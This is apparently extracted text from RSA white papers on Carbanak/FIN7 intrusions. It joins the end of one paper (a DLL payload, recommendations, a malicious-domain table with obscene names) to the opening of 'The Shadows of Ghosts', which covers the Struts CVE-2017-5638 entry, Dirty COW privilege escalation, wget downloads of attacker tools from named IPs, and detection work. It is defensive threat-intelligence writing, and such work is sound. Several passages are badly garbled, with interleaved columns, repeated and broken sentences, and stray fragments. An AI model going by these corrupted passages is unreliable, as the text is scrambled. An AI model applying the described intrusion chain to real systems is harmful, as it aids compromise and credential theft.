732e6d3d7534da31f51b25506e52227a .reloc (4): 4.76 9f01b74c1ae1c407eb148c6b13850d28" Sections .reloc 4.76 9f01b74c1ae1c407eb148c6b13850d28" Name Entropy MD5 .text 6.05 e741daf57eb00201f3e447ef2426142f .rdata 4.3 5ecb9eb63e8ace126f20de7d139dafe8 .data 1.54 732e6d3d7534da31f51b25506e52227a .reloc 4.76 9f01b74c1ae1c407eb148c6b13850d28 The script, using Reflective DLL Injection, loads this payload into memory and executes it without first writing it to disk. When the DLL is executed it writes itself to the AppData\Local\Temp\ directory of the user profile in which it was executed. It then attempts to locate saved username and password locations from approximately ten different web browsers, as well as saved Outlook credentials. This is but one variant; other variants use a cobalt-strike stager in place of the tinymet backdoor. This blog post from Icebrg contains a spreadsheet with known IOC WHITE PAPER 6. RECOMMENDATIONS The security lifecycle is the foundation for securing a network against external threats. But this foundation needs to be built upon and a culture of attention to detail, proactive monitoring and looking for blind spots. This can sometimes be tedious and seem unnecessary with the right mix of technology. RSA Incident Response has weighed in on the current situation, given they see the effectiveness of many different types of instrumentation and network layouts. The key takeaway from that post is for defenders to programmatically increase their visibility while decreasing a potential attacker s visibility and access to sensitive data in a continuous cycle. This shortens attacker dwell time when a breach occurs and limits exposure to financial loss. Preventing an intrusion cannot always be mitigated by thorough patching and good IT hygiene, though. In one case, these actors were able to exploit a vulnerability in an internet-facing web application. In this case, the organization had a good patching regimen for their application servers; however, the software was a package and one of the components had a vulnerability that the vendor had not patched. While the story could have ended there, it did not. The server was running a vulnerable Linux kernel, allowing for escalated privileges using CVE-2016-5195, the Dirty COW copy-on-write vulnerability. The attackers quickly installed a backdoor SSH and SSHD binary, but soon discovered the Linux environment used key-based authentication. From here, the attackers abused the winbind service, which allows Windows Active Directory authentication on Linux hosts, to quickly pivot to the Windows environment and carry on with their mission. This is often the case with defense; planning is made more complicated once you consider zero-day exploits previously unknown vulnerabilities in existing software. There are, undoubtedly, many zero days yet to be discovered in today s commonly used software. So how is a defender to be effective with the complexity of modern networks and software? By assuming a breach is always underway. Hunt for indicators in network traffic and on hosts and look for blind spots in that monitoring. At a minimum, an organization should log privileged account usage remotely and know where credentials are stored. Carbanak/FIN7 relies on variants of the mimikatz password-dumping software. Active Directory software is a fantastic tool to centralize authentication and access control, as well as manage endpoints. This also benefits a potential attacker, often providing the proverbial keys to the kingdom and an abstracted map of the network. The simplest reconnaissance tool to be aware of is a Windows native utility, net.exe. More comprehensive frameworks exist in the Recon module for PowerSploit or the Situational Awareness module for PowerShell Empire. WHITE PAPER Proper segmentation of the network could have also prevented the incident described above. Had the DMZ of the internet-facing web hosts not had access to the internal network segments, this would not have happened. This can be taken a step further, segmenting financial data into its own network with even tighter access controls and visibility. The industrial verticals that use supervisory control and data acquisition (SCADA) networks to control machinery running the world (such as power grids) use this methodology to reduce their attack surface. If a corporate user is spear phished and a Trojan is installed, it should be physically impossible to access these resources. The same approach in storing and handling financial data should also be taken. Prevention is preferred, but in the modern threat environment, a security analyst must assume a breach is in progress and scrutinize the network accordingly. Active hunting in network traffic and endpoint behavior and artifacts should be a daily task. Apex predators in nature have finely tuned senses to hunt their prey; so should the modern security analyst. With the right people, process and technology, organizations should be able to detect these Trojans and movement throughout the network, with ease. If an organization is using the RSA NetWitness Suite, the parsers, methodologies and YARA signatures described in this paper offer wide coverage for this actor. While persistent, they have proven to not be advanced, using tools and tactics available to every level of penetration tester. That they are even successful and worth mentioning should tell us that, as an industry, we re still undergoing growing pains. With technological advancements coming at full speed, we need to be flexible in our understanding of the what and re defending. We also need to be flexible in our understanding of the threats themselves, not make assumptions. No organization has the perfect security instrumentation and processes; it s an ongoing cycle. 7. CONCLUSIONS The Carbanak/FIN7 syndicate has had an interesting history over the past fourplus years of observation. The syndicate began targeting Russian and European banking institutions, employing mules to run money from ATMs and direct transfers to bank accounts. When the first report emerged in 2015 and following the subsequent high-profile arrests, the group appeared to slow down and fragment into smaller sub-groups, possibly because members were arrested. The syndicate then appeared to return in force in 2016 with a diversified digital arsenal and target deck. Since reappearing, they have been observed in the financial, hospitality, retail, food service and other industrial verticals with easy access to financial data. Carbanak uses disclosed vulnerabilities in email exploits/lures, as well as direct attacks on infrastructure exposed to the internet, to gain an initial WHITE PAPER foothold. Once on a victim network, they possess an arsenal of postexploitation tools, allowing them to escalate privileges, proxy internally to firewalled segments, move laterally, conduct reconnaissance, and surveil individuals for information on the financial data systems. They are motivated and extremely persistent. APPENDIX Warning: The following table includes content some may find offensive. The data contained in this table is necessary for the proper protection of enterprises against this actor. Rd Domain Malware Involved Links to Anunak zaydo.website zaydo.space zaydo.co akkso-dob.in upatre downloader nikaka-ost.in skaoow-loyal.xyz akkso-dob.xyz upatre downloader maorkkk-grot.xyz upatre downloader skaoow-loyal.net nikaka-ost.xyz upatre downloader pasteronixca.com corebot pasteronixus.com corebot vincenzo-bardelli.com corebot marcello-bascioni.com corebot namorushinoshi.com corebot chugumshimusona.com corebot wascodogamel.com corebot ppc-club.org corebot Resolved between 09/16/2015 01/08/2016 to 91.194.254.207 same subnet as advetureseller.com and others WHITE PAPER castello-casta.com carberp cameron-archibald.com carberp narko-cartel.com andromeda narko-dispanser.com andromeda dragonn-force.com Resolved between 02/04/2015 05/14/2016 to 91.194.254.207 same subnet as advetureseller.com and others my-amateur-gals.com gooip-kumar.com badur Resolved between 02/05/2015 04/17/2015 to 91.194.254.207 same subnet as advetureseller.com and others casas-curckos.com levetas-marin.com badur casting-cortell.com ass-pussy-fucking.net 02/08/2015 04/29/2016, 91.194.254.207 same subnet as advetureseller.com and others brazilian-love.org baltazar-btc.com road-to-dominikana.biz corebot ihave5kbtc.org andromeda ihave5kbtc.biz andromeda critical-damage333.org Table 2: Links to Anunak/Sekur Malware WHITE PAPER CONTENT AND LIABILITY DISCLAIMER This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors. RSA Security LLC, EMC Corporation, Dell, Inc. and their affiliates (collectively, ) have exercised reasonable care in the collecting, processing, and reporting of this information but have not independently verified, validated, or audited the data to verify the accuracy or completeness of the information. RSA shall not be responsible for any errors or omissions contained in this Research Paper, and reserves the right to make changes anytime without notice. Mention of non-RSA products or services is provided for informational purposes only and constitutes neither an endorsement nor a recommendation by RSA. All RSA and third-party information provided in this Research Paper is provided on an as is basis. RSA DISCLAIMS ALL WARRANTIES, EXPRESSED OR IMPLIED, WITH REGARD TO ANY INFORMATION (INCLUDING ANY SOFTWARE, PRODUCTS, OR SERVICES) PROVIDED IN THIS RESEARCH PAPER, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. Some jurisdictions do not allow the exclusion of implied warranties, so the above exclusion may not apply to you. In no event shall RSA be liable for any damages whatsoever, and in particular RSA shall not be liable for direct, special, indirect, consequential, or incidental damages, or damages for lost profits, loss of revenue or loss of use, cost of replacement goods, loss or damage to data arising out of the use or inability to use any RSA website, any RSA product or service. This includes damages arising from use of or in reliance on the documents or information present in this Research Paper, even if RSA has been advised of the possibility of such damages. RSA and the RSA logo, are registered trademarks or trademarks of Dell Technologies in the United States and other countries. Copyright 2017 Dell Technologies. All rights reserved. Published in the USA. 10/17 White Paper H16817. RSA believes the information in this document is accurate as of its publication date. The information is subject to change without notice. WHITE PAPER THE SHADOWS OF GHOSTS INSIDE THE RESPONSE OF A UNIQUE CARBANAK INTRUSION BY: JACK WESLEY RILEY PRINCIPAL INCIDENT RESPONSE CONSULTANT WHITE PAPER TABLE OF CONTENTS 1 GLOSSARY OF TERMS.......................................................................................... 1 2 REPORT SUMMARY.............................................................................................. 2 3 INTRUSION OVERVIEW....................................................................................... 7 3.1 ANATOMY OF ATTACK............................................................................................. 7 3.1.1 Phase 1: D+0............................................................................................................ 8 3.1.2 Phase 2: D+0............................................................................................................ 8 3.1.3 Phase 3: D+1 through D+3................................................................................... 9 3.1.4 Phase 4: D+3 through D+25.............................................................................. 11 3.1.5 Phase 5: D+25 through D+30........................................................................... 12 3.1.6 Phase 6: D+30 through D+44........................................................................... 13 3.2 DETECTION AND RESPONSE.............................................................................. 14 4 INTRUSION DETAILS.......................................................................................... 17 4.1 INITIAL COMPROMISE: APACHE STRUTS2................................................... 17 4.2 LINUX COMPROMISE AND MALICIOUS FILES............................................ 17 4.2.1 Dirty Cow Driver Script and Kre80r Proof of Concept Code.................................................................................................................. 17 4.2.2 SSHDoor Client and Server................................................................................ 20 4.2.3 AudiTunnel............................................................................................................ 22 4.3 LINUX SECONDARY ATTACKER TOOLS................................................... 23 4.3.1 Winexe.................................................................................................................... 23 4.3.2 ALW (Advanced Log Wiper, )......................................................................... 24 4.3.3 PSCAN..................................................................................................................... 25 4.4 WINDOWS COMPROMISE AND MALICIOUS FILES............................. 26 4.4.1 GOTROJ Remote Access Trojan........................................................................ 26 4.4.2 AudiTunnel (Windows Version)......................................................................... 29 4.5 WINDOWS SECONDARY ATTACKER TOOLS.......................................... 30 4.5.1 TINYP....................................................................................................................... 30 4.5.2 WGET (UIAutomationCore.dll.bin)................................................................... 32 4.5.3 PSCP (PuTTY Secure File Copy)......................................................................... 33 4.5.4 Mimikatz Variant (32-bit, 64-bit)..................................................................... 33 4.5.5 CCS........................................................................................................................... 34 4.5.6 Infos.bmp................................................................................................................ 34 4.5.7 PSCAN (Windows Version)................................................................................. 35 4.6 DETECTION, TRACKING, AND RESPONSE.............................................. 35 4.6.1 Network Visibility and Indicators..................................................................... 36 4.6.2 Host Visibility and Indicators............................................................................. 42 5 CONCLUSION...................................................................................................... 52 6 INDICATORS OF COMPROMISE..................................................................... 54 6.1 ATOMIC INDICATORS OF COMPROMISE........................................................ 54 6.2 BEHAVIORAL INDICATORS OF COMPROMISE.............................................. 55 7 DIGITAL APPENDIX............................................................................................ 56 WHITE PAPER INDEX OF FIGURES Figure 1: Findings from Public and Open Source Research of Toolset Reference......................................................................................... 3 Figure 2: Staged Overview of Engagement.................................................................. 7 Figure 3: Perl Script Download from 95.215.46.116................................................ 8 Figure 4: Metadata Showing Output, Actions, and Port Usage in IRC Traffic............................................................................................. 9 Figure 5: Download of CVE-2016-5195 Exploit Code and Bash Script Driver.......................................................................................................... 9 Figure 6: Download of Winexe via WGET to ALPHA............................................. 11 Figure 7: Download of ALW and PSCAN from 95.215.46.116............................ 12 Figure 8: AUDITUNNEL Download from 95.215.46.116...................................... 13 Figure 9: Windows Toolset Download of WGET, TINYP, INFOS, CCS, MIMIKATZ, PSCP, and PSCAN............................................... 14 Figure 10: Initial Finding of GOTROJ Communications with Suspect Meta............................................................................................................... 15 Figure 11: Initial Finding of TINYP Lateral Movement.......................................... 15 Figure 12: Contents of 1.sh Dirty COW Shell Script............................................. 18 Figure 13: Contents of Dirty COW Source Code.......................................... 19 Figure 14: Observed Download of 1.sh and c0w from IP 185.61.148.145............................................................................................................... 19 Figure 15: WGET Download of SSHDoor Binary ssh.............................................. 19 Figure 16: RC4 Decrypted authorized_keys Entry and HTTP Format Strings................................................................................................. 20 Figure 17: Credential Harvesting HTTP Request.................................................... 21 Figure 18: Pre-Shared SSH Key Used by SSHDOOR.............................................. 21 Figure 19: XOR 0x41 Traffic for AudiTunnel............................................................. 22 Figure 20: Usage Message for WINEXE Binary........................................................ 24 Figure 21: Usage Message for l Advanced Log Wiper............................................ 25 Figure 22: Usage Message for PSCAN Port Scanning Tool................................... 26 Figure 23: Example Usage of PSCAN Port Scanning Tool..................................... 26 Figure 24: XOR Command Decryption Method....................................................... 27 Figure 25: Annotated Encrypted Form of GOTROJ Communication................................................................................................. 28 Figure 26: Annotated Decrypted Form of GOTROJ Communication................................................................................................. 28 Figure 27: C2 IP Address in ASCII Strings of svcmd.exe........................................ 29 WHITE PAPER Figure 28: XOR Byte Encryption Loop for Send and Receive Buffer...................................................................................................................... 30 Figure 29: Sample Execution of TINYP v.0.7.7.4...................................................... 32 Figure 30: WGET Renamed to UIAutomationCore.dll.bin................................... 33 Figure 31: Download of TINYP Binary with UIAutomationCore.dll.bin................................................................................................ 33 Figure 32: Example Execution and Usage Text of Windows Version of PSCAN................................................................................................................ 35 Figure 33: Query Results for Malicious Tool Downloads...................................... 37 Figure 34: Tunneled SSH Query Results..................................................................... 38 Figure 35: AUDITUNNEL Client Hello Payload Detection and Meta............. 39 Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic..... 40 Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted Payload........................................................................................ 40 Figure 38: GOTROJ Beacon Meta From Digital Appendix Content................. 41 Figure 39: Identification of GOTROJ HTTP #wget User-Agent......................... 41 Figure 40: File Hash Mismatch and system/init.d Autostart in SSHDOOR Detection.................................................................................................... 43 Figure 41: Malicious Binary Usage in Non-Standard Locations and Without Associated Packages................................................................................ 43 Figure 42: IP Address, Port Switch, and Port Number in Program Arguments........................................................................................................... 44 Figure 43: NetWitness Endpoint Request for All Files in Directory /usr/share/man/mann.................................................................................... 44 Figure 44: Additional Findings via Mass File Download Request for Directory /usr/share/man/mann........................................................... 45 Figure 45: C:\Windows\SysWOW64\zh-TW Working Directory, UIAutomationCore WGET Usage, and TINYP Download and Renaming.......... 46 Figure 46: Instant IOCs Representing UIAutomationCore.dll.bin WGET Binary Activity....................................................................................................... 46 Figure 47: TINYP Execution from Source (Red) and Target (Blue) Perspective................................................................................................. 47 Figure 48: TINYP vs PSEXEC Service Binaries......................................................... 48 Figure 49: TINYP vs PSEXEC Module Differences.............................................. 48 Figure 50: cmd.exe Calling find.exe as a Piped Directory Listing Search........ 50 Figure 51: qwinsta.exe Being Called by cmd.exe...................................................... 50 Figure 52: Installation of GOTROJ RAT Via Windows Service........................... 51 WHITE PAPER Figure 53: Deletion of GOTROJ Windows Service After Execution................. 51 Figure 54: GOTROJ Process Executing and Network Connection Information................................................................................. 51 Figure 55: C2 IP and Port Identification in Cursory Analysis via Endpoint Module Analyzer............................................................................................... 51 INDEX OF TABLES Table 1: File Information for the SSHDOOR Client Binary (centos-repo.org)................................................................................................................. 21 Table 2: File Information for the SSHDOOR Server Binary (centos-repo.org)................................................................................................................. 21 Table 3: File Information for SSHDOOR Client Binary (slpar.org)..................... 22 Table 4: File Information for SSHDOOR Server Binary (slpar.org).................... 22 Table 5: File Information for AUDITUNNEL.............................................................. 23 Table 6: File Information for WINEXE......................................................................... 24 Table 7: Logs Modified by ALW Log Wiper.................................................................. 25 Table 8: File Information for ALW.................................................................................. 25 Table 9: File Information for PSCAN............................................................................ 26 Table 10: Decoded Commands for GOTROJ Trojan............................................... 27 Table 11: File Information for GOTROJ Version 1.................................................. 29 Table 12: File Information for GOTROJ Version 2.................................................. 29 Table 13: File Information for GOTROJ Version 3.................................................. 29 Table 14: File Information for AUDITUNNEL (Windows Version).................... 30 Table 15: TINYP Arguments and Functions............................................................... 31 Table 16: File Information for TINYP v.0.7.6.2.......................................................... 32 Table 17: File Information for TINYP v.0.7.7.4.......................................................... 32 Table 18: File Information for WGET (UIAutomationCore.dll.bin).................... 33 Table 19: File Information for PSCP.............................................................................. 33 Table 20: File Information for MIMIKATZ Variant (32-bit).................................. 34 Table 21: File Information for MIMIKATZ Variant (64-bit).................................. 34 Table 22: File Information for CCS................................................................................ 34 Table 23: File Information for INFOS........................................................................... 34 Table 24: File Information for PSCAN (Windows Version)................................... 35 Table 25: List of Commands Internal to the Windows Command Processor...................................................................................... 49 Table 26: Cross-Platform Toolset Utilization............................................................ 52 WHITE PAPER 1. GLOSSARY OF TERMS Actions-on-objective: Command execution, file interaction and other actions an attacker may take when interacting with compromised systems. Lateral movement: The movement of a user session to a system within the network boundaries of an organization from a system also present within the same network boundary. Internal reconnaissance: Obtaining initial or additional information about systems, users, login methods and network paths of systems internal to an organization s network. Credential Harvesting: The acquisition and collection of initial or additional user account credentials for use in lateral movement. Security event: An asset or system action, or communication, that diverges from regular operational activity in a way that the security posture of that asset becomes suspect. Security incident: A security event or group of security events that have been confirmed, either singularly or in aggregate, as being malicious in intent. Compromise: Unauthorized, unforeseen or unknown actions conducted on an informational asset that allows for direct and unauthorized access and interaction. Intrusion: The direct and unauthorized access and interaction of a malicious actor with systems or assets internal to an organization s network. Staging: The actions involved in occupying and preparing an internal system or asset to secure additional resources and ensure persistence of attacker ingress access. Declaration: The point in time in which an organization confirms the presence of an attacker in an environment and initiates incident response procedures. Indicator of Compromise (IOC): A behavior, pattern, network address, computed file hash or other system or network attribute that can be correlated to malicious activity. WHITE PAPER 2. REPORT SUMMARY This report shares actionable threat intelligence and proven threat hunting and incident response methods used by the RSA Incident Response (IR) Team to successfully respond to an intrusion in early-to-mid 2017 by the threat actor group known as CARBANAK1, also known as FIN7. The methodology discussed in this report is designed, and has been tested, to be effective on several currently available security technologies. While the majority of examples shown in this document use the RSA NetWitness Suite in their illustrations, the methodology, query logic, and behavioral indicators discussed can be used effectively with any security product providing the necessary visibility. The intrusion and response described in this paper highlight key behavioral tactics, techniques, and procedures (TTP) unique to this engagement, giving significant insight into the thought processes, preparation, and adaptive nature of actors within the CARBANAK threat actor group. This paper also illustrates the RSA Incident Response Team s Incident Response and Threat Hunting Methodology: an unorthodox, adaptive and highly effective methodology used to successfully detect, investigate, scope, track, contain, and ultimately expel these and many other advanced adversaries. Several intrusions associated with the CARBANAK actors have been reported within the last year, describing compromises of organizations within banking2, financial3, hospitality4, and restaurant verticals. However, they all describe a relatively equivalent progression, with only slight deviation in specific attacker actions. The intelligence surrounding recent CARBANAK incidents indicate that phishing attacks have been the group s primary method of initial compromise. After gaining access to a user system, the attackers move laterally throughout the environment, conduct internal reconnaissance, establish staging points and internal network paths, harvest credentials, and move towards their intended target. However, this intrusion began with a significantly higher level of privilege due to the exploitation of the Apache Struts vulnerability CVE-2017-5638 that allowed the attackers to quickly gain administrative access within the client Linux environment. The intrusion outlined in this report discusses a case that presented substantial challenges due to: Krebs; Krebs on Security Posts Tagged: Carbanak ; https://krebsonsecurity.com/tag/carbanak/ Schwartz; Sophisticated Carbanak Banking Malware Returns, With Upgrades https://www.bankinfosecurity.com/sophisticated-carbanak-banking-malware-returnsupgrades-a-8523 Krebs; Payments Giant Verifone Investigating Breach https://krebsonsecurity.com/2017/03/payments-giant-verifone-investigating-breach/ Krebs; Hyatt Hotels Suffers 2nd Card Breach in 2 Years https://krebsonsecurity.com/2017/10/hyatt-hotels-suffers-2nd-card-breach-in-2-years/ Miller, Nuce, Vengerik; FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html WHITE PAPER The initial intrusion vector Unique attacker toolset The attacker dwell time The large, heterogeneous environment The speed with which the attackers gained administrative access The forensic mindfulness of the CARBANAK attackers The toolset utilized by the attackers was a mix of custom ! tools, freely The!Shadows!of!Ghosts! ! researched Case!Study:!CARBANAK! available code, and open source software utilities. RSA IR all 32 of the malicious files in the CARBANAK toolset using various publicly available andutilized open source Six of used tools, in thisfreely intrusion werecode found The toolset by theresources. attackers was a the mix tools of custom available and open source software utilities. researched malicious files CARBANAK to have been uploaded to a publicly available antivirus aggregation site. Of toolset using various publicly available and open source resources. Six of the tools used in this fivetoofhave thembeen haveuploaded little to no or indication of malice from site. Of intrusionthese weresix, found to detection a publicly available antivirus aggregation these six, five of them haveThis little to no detection or indication of malice from antivirus vendors. antivirus vendors. observation explains the reason that the client This observation explainshost the reason that mechanisms the client s signature-based protection signature-based protection were unable tohost identify mechanisms were unable to identify or prevent the use of these tools. prevent the use of these tools. Figure 1:1: Findings from Researchof ofToolset ToolsetReference Reference Figure Findings fromPublic Publicand andOpen Open Source Source Research While the attackers used more than 30 unique malware and tools,and they also While the attackers used more than 30samples unique of samples of malware tools, demonstrated a normalization across Windows and Linux with respect to their toolset. The demonstrated a normalization across Windows and Linux with toolsets they they also deployed can be broken down into five basic functionalities: respect to their toolset. The toolsets they deployed can be broken down into Ingress/Egress/Remote Access five basic functionalities: Lateral Movement Cleanup Ingress/Egress/Remote Access Credential Harvesting Lateral Movement Internal Reconnaissance Log Cleanup this distinct functionality in their toolsets, they normalized functions In addition to following across different operating system environments in the forms of the two versions of Credential Harvesting AUDITUNNEL, PSCAN, and the use of WINEXE (Linux) and TINYP (Windows). This normalization of tools is discussed in more detail later in this paper, but it identifies that not only Internal Reconnaissance do CARBANAK actors have the capability to successfully compromise various operating system environments, they have actually standardized and operationalized this capability. This attribute indicates strategic operational thought and effort being invested in this group s compromises, Page 7 WHITE PAPER In addition to following this distinct functionality in their toolsets, they normalized functions across different operating system environments in the forms of the two versions of AUDITUNNEL, PSCAN, and the use of WINEXE (Linux) and TINYP (Windows). This normalization of tools is discussed in more detail later in this paper, but it identifies that not only do CARBANAK actors have the capability to successfully compromise various operating system environments, they have actually standardized and operationalized this capability. This attribute indicates strategic operational thought and effort being invested in this group s compromises, suggesting that the CARBANAK actors are working towards becoming a more organized, structured, resourceful and mature threat group. During an intrusion, time is the single most critical resource to an organization s security team and is the most significant indicator of determining if the security team will be successful in containing, eradicating and remediating the extant threat. There are two specific sets of time related to an intrusion that may determine the difference between success and failure: the time that the attackers are in the environment prior to detection (dwell time) and the time it takes security teams to identify, investigate, understand, and contain the attackers actions (response time). In this specific incident, the attackers dwell time at intrusion declaration was 35 days, which is a significant amount of time given the level of access immediately available upon compromise. However, by utilizing the methodology and visibility described in this report, RSA IR was able to complete containment, eradication, and remediation in only nine days. Further below we discuss the methodology used by RSA IR to successfully detect, investigate, understand, and contain the attackers before the actors could achieve their intended goal. A significant number of organizations focus on majority systems software, such as Microsoft Windows, for the predominant amount of their visibility. This often leaves minority systems with very little visibility, protections, or investigative observational points. Additionally, these minority systems, Linux being the most significant example, often operate key public-facing or critical data-based services. Not planning for visibility to ensure minority systems are included in threat hunting, vulnerability assessments, network data captures and forensic investigations leads to a false sense of organizational security and ensures that attackers retain a refuge of critical systems inside environments. The incident discussed in this report illustrates the dangers present within this approach once attackers begin utilizing these systems against organizations. In this report, we discuss the ways the CARBANAK actors utilized these systems and the methodology used by RSA IR to successfully respond to this threat. It highlights the progression of analysis from threat hunting and initial detection to root cause analysis, incident scoping and follow-on investigation. The majority of the analysis conducted during this engagement was WHITE PAPER performed using RSA s flagship product, RSA NetWitness Suite. During this investigation, RSA IR utilized RSA NetWitness Logs and Packets (formerly RSA Security Analytics) for network visibility and RSA NetWitness Endpoint (formerly RSA ECAT) for endpoint visibility. These marquee technologies allow RSA IR and client analysts to process massive data sets, find forensically interesting artifacts in near real time and do both more quickly than utilizing standard incident response and forensic procedures. The purpose of this report is to share actionable threat intelligence associated with a persistent adversary, discuss the RSA Incident Response Team s Threat Hunting and Response Methodology in practice, and illustrate the use of this methodology as used by RSA IR analysts during a live intrusion. To that end, the Threat Hunting methodology, examples of detected activity and Incident Response procedures illustrated in this report have been described in a manner that can be effectively implemented by any security technology that affords the analyst the necessary visibility. RSA IR also includes a Digital Appendix containing file hashes, domain and IP addresses, and detection content for both RSA NetWitness Endpoint and RSA NetWitness Logs and Packets. While the detection content has been written specifically for the RSA NetWitness Suite, each parser and query contains detailed descriptions of their detection mechanisms for implementation into any available toolset with appropriate visibility. The hope is that by publishing this report, RSA IR encourages and empowers operational analysts to utilize Threat Hunting and the RSA IR Methodology within their own environments. The CARBANAK actors are financially motivated, advanced actors that have historically targeted financial and hospitality laterals, with a recent move into targeting restaurants.6 This threat actor group has shown themselves to be proficient and careful in their toolset utilization, consistently removing evidence of any actions-on-objective as they proceed through an environment. They have been observed utilizing various malware, methods and communications, with tools and techniques often differing greatly between targets. While this group has shown technical ingenuity in techniques such as point-of-sale implants,7 Google services command-andcontrol communications8 and persistence via application shim databases9, they have also shown a propensity for using freely available or open source Mesa, Huss; FIN7/CARBANAK Threat Actor Unleashes Bateleur Jscript Backdoor https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashesbateleur-jscript-backdoor KYaneza; Signed PoS Malware Used in Pre-Holiday Attacks, Linked to Targeted Attacks http://blog.trendmicro.com/trendlabs-security-intelligence/signed-pos-malware-used-in-preholiday-attacks-linked-to-targeted-attacks/ Griffin; CARBANAK Group Uses Google for Malware Command-and-Control https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-commandand-control Erikson, McWhirt, Palombo; To SDB, or Not to SDB: FIN7 Leveraging Shim Databases for Persistence https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html WHITE PAPER toolsets for much of their lateral activities. Whatever the methods used, CARBANAK has shown themselves to be highly persistent and determined actors, able to rapidly compromise and traverse various environments while quickly adapting to internal security controls. This white paper covers a sampling of observed indicators derived and utilized during this engagement. Included are the details regarding the observed intrusion vector, entrenchment techniques, actions-on-objective, lateral movement tools and methods, unique malicious files, and behavioral indicators utilized in the identification, tracking and response of this actor group. Included with the publication of this report is a Digital Appendix, containing content for RSA NetWitness Logs and Packets and RSA NetWitness Endpoint used to identify and track attacker activity throughout the environment during this incident. All content should be tested before full integration into RSA NetWitness Endpoint, RSA NetWitness Logs and Packets or third-party tools to prevent any adverse effects from unknown environmental variables. More information on the associated Digital Appendix is found in Section 7. Disclaimer: This white paper and related graphics are provided for informational and/or educational purposes. The information contained in this document is intended only as general guidance and is not legal advice. Although the greatest care has been taken in the preparation and compilation of this white paper, RSA, its servants and/or agents will accept no liability or responsibility of any kind. This white paper is not intended to be a substitute for legal or other professional advice, and constitutes the opinions of the author(s). All information gathered is believed correct as of October 2017. Corrections should be sent to RSA for future editions. Redistribution or reproduction of this document is prohibited without written permission of RSA. WHITE PAPER 3. INTRUSION OVERVIEW 3.1 ANATOMY OF ATTACK In researching this white paper, the majority of intelligence and incident reports reviewed described phishing and malicious document-related tactics The!Shadows!of!Ghosts! being utilized by CARBANAK actors as a method of initial compromise. Case!Study:!CARBANAK! However, the initial method of compromise observed! during this engagement 3! Intrusion Overview utilized the Apache Struts Content-Type arbitrary command execution vulnerability, CVE-2017-5638.10 This vulnerability has since been patched 3.1! Anatomy of Attack by the Apache Software Foundation, and the recommended remediation In researching this white paper, the majority of intelligence and incident reports reviewed process is available on their website.11 While thebeing time-tested method of actors described phishing and malicious document-related tactics utilized by CARBANAK as acompromising method of initialthe compromise. However, initial method compromise observed during user base as the initial ingress method is still very effective, this engagement utilized the Apache Struts content-type arbitrary command execution 10 commonly give attackers a significant escalation server-level compromises vulnerability, CVE-2017-5638. This vulnerability has since been patched by the Apache Software Foundation, recommended remediation process is available on their and website.11 in initial privilege, as well as a shorter path between initial compromise While the time-tested method of compromising the user base as the initial ingress method is still data. Thiscompromises allows themcommonly greater give rights and versatility upon initial in veryend-target effective, server-level attackers a significant escalation initial privilege, well shorter path between initial compromise end-target data. This compromise while making it harder for defenders to stop them on the initially allows them greater rights and versatility upon initial compromise while making it harder for compromised system. anatomy of the engagement, brokenofinto defenders to stop them on theAn initially compromised system. An anatomy the engagement, broken into primary stages, illustrated Figure primary stages, is illustrated in Figure 2. Delete Delete Comm entry: bin/cv Forma Delete Delete Delete Comm the sty short, submi Comm brande team c busine Figure 2: Staged Overview of Engagement Upon determining that the initially compromised web server, designated as system ALPHA, was and vulnerable to CVE-2017-5638, the rest of the attacker Common Vulnerabilities Exposures https://cve.mitre.org/cgibin/cvename.cgi?name=CVE-2017-5638 actions could grouped into eight stages illustrated in Figure 2. These Apache Struts Documentation: S2-046 ; https://struts.apache.org/docs/s2-046.html phases are described further in the remainder of Section 3. All binaries, withPage 10 the exception of the Perl script, are described in detail in Section 4. Common Vulnerabilities and Exposures https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 Apache Struts Documentation: S2-046 ; https://struts.apache.org/docs/s2-046.html WHITE PAPER The!Shadows!of!Ghosts! Case!Study:!CARBANAK! Figure 2: Staged Overview of Engagement Upon determining that the initially compromised web server, designated as system ALPHA, was 3.1.1 Phase 1: D+0 vulnerable to CVE-2017-5638, the rest of the attacker actions could be grouped into the eight stages illustrated in Figure 2. These phases are described further in the remainder of Section 3. Initial Compromise, Initial Code Execution All binaries, with the exception of the Perl script, are described in detail in Section 4. Attackers from 3.1.1! Phase 1: D+0IP 185.117.88.97 utilize CVE-2017-5638 to download andCompromise, execute a Perl script ALPHA. The Perl script was downloaded via Initial Initial Codeon Execution WGET from IP 95.215.45.116. This action constitutes the moment of initial Attackers from IP 185.117.88.97 utilize CVE-2017-5638 to download and execute a Perl compromise referenced in this document as from All95.215.45.116. other times This script on ALPHA.and The is Perl script was downloaded via WGET action constitutes the report momentwill of initial compromise document discussed in this use this moment asisa referenced referenceininthis their notation, All other times discussed in this report will use this moment as a reference in their notation, such refers twoafter days after initial compromise. metadata such thatthat refers to twoto days initial compromise. The metadata created by RSA NetWitness Suite describing this action is shown in Figure 3. created by RSA NetWitness Suite describing this action is shown in Figure 3. Delete Delete Delete Delete Delete FigureFigure 3: Perl Script Download 95.215.46.116 3: Perl Script Downloadfrom from 95.215.46.116 3.1.2! Phase 2: D+0 3.1.2 Phase 2: D+0 Internal Reconnaissance, Privilege Escalation, Persistence Internal Reconnaissance, Privilege Escalation, Persistence Six minutes after the download and execution of the Perl script, system ALPHA began Six minutes after the download and execution of the Perl script, system communicating with IP address 95.215.46.116 via IRC. While the available full packet capture ALPHA communicating IP address 95.215.46.116 IRC.was While retention didbegan not extend to this date atwith the time of analysis, the metadata via created still available. While RSA was unable to review the raw data to determine actions taken, RSA IR was the available full packet capture retention did not extend to this date at the able to determine traffic type, as well as infer the intention of the nature of actions taken via this channel. It analysis, appeared that IRC communication a method of remote time of the this metadata created was still available. Whilecommand RSA wasexecution conducted by the attackers, evidenced by the presence of an output from the User Activity unable to review the raw data to determine actions taken, RSA IR was able to Linux binary. This is illustrated in Figure 4. determine traffic type, as well as infer the intention of the nature of actions taken via this channel. It appeared that this IRC communication was a method Page 